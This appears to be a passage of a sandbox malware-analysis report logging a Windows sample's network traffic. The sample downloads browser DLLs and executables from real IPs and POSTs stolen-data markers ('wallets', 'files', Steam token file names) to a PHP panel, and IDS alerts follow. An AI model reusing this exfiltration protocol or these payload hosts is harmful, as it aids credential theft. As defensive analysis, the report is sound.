name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="file"------AKJDGDGDHDGDBFIDHDBA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGIHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"wallets------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"files------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="file"------CGHDAKKJJJKJKECBGCGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"ybncbhylepme------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHCAEGCBFHJDGCBFHDAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/rh.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008496001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 18.245.60.72 18.245.60.72
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49831 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49953 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50114 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50114 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50133 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.17
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43
Source: unknown	TCP traffic detected without corresponding DNS query: 20.199.58.43

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA4CC60 PR_Recv,

0_2_6CA4CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a78092d2d8a54d5791d67ad074ca2302&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAS0nTAG0r5FP4egj0aXX0O3bGC5YqNfbku8Y0fQv3bH8+IetNBi5ZEoojsRgnATDbaf3+NEWVM2MdOoMz6S/OzR2MjoOIC7twMdNWvC/mIGgR+Ok/lJECiqbEiD05vzxiZt8DM5i6FpPIm7smTPQhH2q9gEBaIF6SbXmkaYJB8Kyo+ZuVeAPHkLb1cMuQgfnwAFEG9+vnwFGkK4YqLi/aAGJqStal0oGIuFFy+8BnYUP6KJLyT4ooxiJ0hwYpoNr66E+kpb6H0GpAkKyZomoYWjU/vSCbMnosx/l+z6eoyR5BuUtDTJmSB6110AzNt6SPtu5/ZyRIcjJO88gw5ojupkQZgAAEJiFO7mug/4D2EKNZ+XKoYKwAUpZLeW4a5iAkZ0TLFSXyX8yVgJa7rRGXdHzm9ar9ptals80mLc9opxs0pcfXReBcaL7X5dZa0aL1SgCfywXYO3fPE9G2pJMAxRnsT3gzUjZ+2ApK65lkugo7cwh+CphnrEpZpKrML1Jk+CANQpCZvSds+xEYD9HpifZg+cMjYDcVxKdgNfY7oc/xLbmY/R9g6lRlI8T+anA3YQ7ZTQqPWRif/slLO3QZfXrfuwjAs235r7pw1ihU+iB3xB602il14JzybopTw2SpynNxqJu6m3t1C4lmaECrnirKhUDpMTWIZt3pBHKDiCm41H/FXNZatnSO8Ve11lxQ3A/z/2yY5QkKKs0Q13CbR7+wNPFNladpN+k4ZB78FfVG40fjeibQvt9DdfqCEZeYLMA5bfFNQWkEv4PF4+EyC0hSspFHQpaZ4A+OXRFQzTBTsKNk384J9wPQuFI6UrYW5yKzOxWEqGAMBoKTT2YCHQZwVLE9qXvNI6EXivVB008V1O4Di7erXFL1bfBhBUNYJXfhQUTbKSpDwky9v1S7JSn0hcLH+i97BQCWhYt3mfMB4MdH5Ng3tcB&p=Cache-Control: no-cacheMS-CV: j1+60tOnT0mHt29r.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=bfd90e5685e94ad7889edbcdf62d5a6e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATU6fhPXZYVho6a4p4vI2a74EooGr1lAbj7TEsMHWuixhG1doJrKKbt3trAazk79RhlGmjxG7bBJMzqYwbs1bBup/Dn5Wzb6bEjSIzdEBQ3r9jsDQYJP5YdEyLc1FkCdshJwVaqf+2v/wkpd7vfbiw7WBDTCl9nVIuCDTT1fTZGSLBLfeWhqPTpXzhhbTOKdYlchq5NRhYFLBm65xek5qYAnx0jxQvk/6khRtkjdw4MYGvFqJ59NfyJ6cd24DtcqZE732cRR0YGg6qTlkkoqaqSAGUhbBXC3lfimhuCY4NY/YD9QWVTjMhJsBmddSj/6X36mpEAhdqldMJNN7U1t33AQZgAAEIuG5pA6m1xk34TD24VCsZCwAdS+BY/+egxY58k/ZUMtGFvBsYIB7TaJg7OXOBtocq3p+N6a7Y/LDDCMSmPkR45jZo7K3r8c1mjaitJYsKUpMvhiZsytdBqrM11DrTe8FTBtLYQMBnasapr19W9rzjXrwfCome68/c5sA4Tmecm/zCRglGOszHAxH5Y4R+KakKXWjXssJe2ZFhFeGL1yNeoAdI3o34Vu410C8Y/Y6AbC5nYC75oE/oKU5I18lWz+neU8jegb4DbWAOtEKYuLRUzIf+YRyGJ6ZvqUv/l4oW8BYjpH/0/tVpsZnfBotMftlQLfKCjkL3VryY6xAvZv7LmM7BTZ300scIBgbIhVXRQxPFdZcvdTIvBESgOTzsmgT2zpAYyQAy7nuA45HLLPBKKoCTofxrSIFOgjoLQts11RKXQjOsaCnuv+nPMxHDniI7nKYdn9pWxOIr3F21Tqapr67GP5cddoIJhzCxMDBvGPaaSQtxMgocGFrwOeTopzf955MCokiQcyQITCeoZ7hL72v5QQn63Gy7XQSwrh3AoKmP0w4gKYeg76PTYOAiWTDVxkZt6cXuWUiWir+mO04V9fZNcB&p=Cache-Control: no-cacheMS-CV: j1+60tOnT0mHt29r.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T185209Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d21e0fe109894e1f8ee1ff8f4a7c9aca&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598354&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598354&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVML5NBX5yFRq5mcK3NbYUCsh5TFa+v5IN1XJd+u2UJxckxlo16DWeoSgyj0wgVwXaYZeLHdNB5Kbxfgs3hw3Q0xHlwupXZIgt0xNa+FHs8w3r9VHk3aV9tCqgd1jYFsozRSTR903eAleBlEl2YOFl9YzTmuEUi8iQYRCBgy2ei0WVsW7VkzW7jfn9xn1RkHiefcmqCMuHdHuwF94YVCMiWkZ6p1mfgJASkcjTFfvVk18iyE3D9dsqhe7er6fw+QElQKCHu8ij4DSuGFln4i+gfq0iflGsg70j92xdo4CoMr4uiOiXKSyx634fr0qbWIdrHayJPi+EEofBJsibhB5zYQZgAAENjrRDee3qR4LBvPiqZNkrawAUbp/pca9AgLPrCg9vz83L6Lxzoc/SoqfaT71YKxQk0cVpHshFQagQ4nAHXTRgTPMXGurthZE+zBNhgesGvh00zxoB447y4jVipHRXq+SJsuldiNYD5Yyro0A8bCT5zH59hqeja3TiTzVfUCaP1PQewCY1oPu3m2/g2RWTIM/U3CMkbq2l/Zi51JUGQ24ItmaTJWlvWBaxQXx/PcFoHn18I0aVp269ft5gB977Pnj6U6Pu41jzVxAVpiWEImcsFbKGX/yv7dHdkQ3i/iI7gjpDoE7uHUmFY0PwzlVOIMb6DVBSQ+RVKnIWgz4v467ZzmIuGBQmFLxb3DQP0+ojqlTy5+XxBM7I/la+jZ0Fj3GgWFFrL1DJyzVVbGKCiHtZzAmd2Kp+cXi/v9RojqyftCkG9y3UFcJOpLK+E3hvQVKY0arCIpEsn979yIugln/O7di7vmfuROsdAKdkKmquCMwYMi3yayTL2pH4YjrSeJ/FQr8K4G0iwPoagNO+gEtv2AuVSPkAIsCa0U3ZIZ7rSwsmFc+nGGlMTwEzgSOpqnazgbvuHJIZ7KI4KmB3bsKO/kINcB&p=Cache-Control: no-cacheMS-CV: j1+60tOnT0mHt29r.0User-Agent: 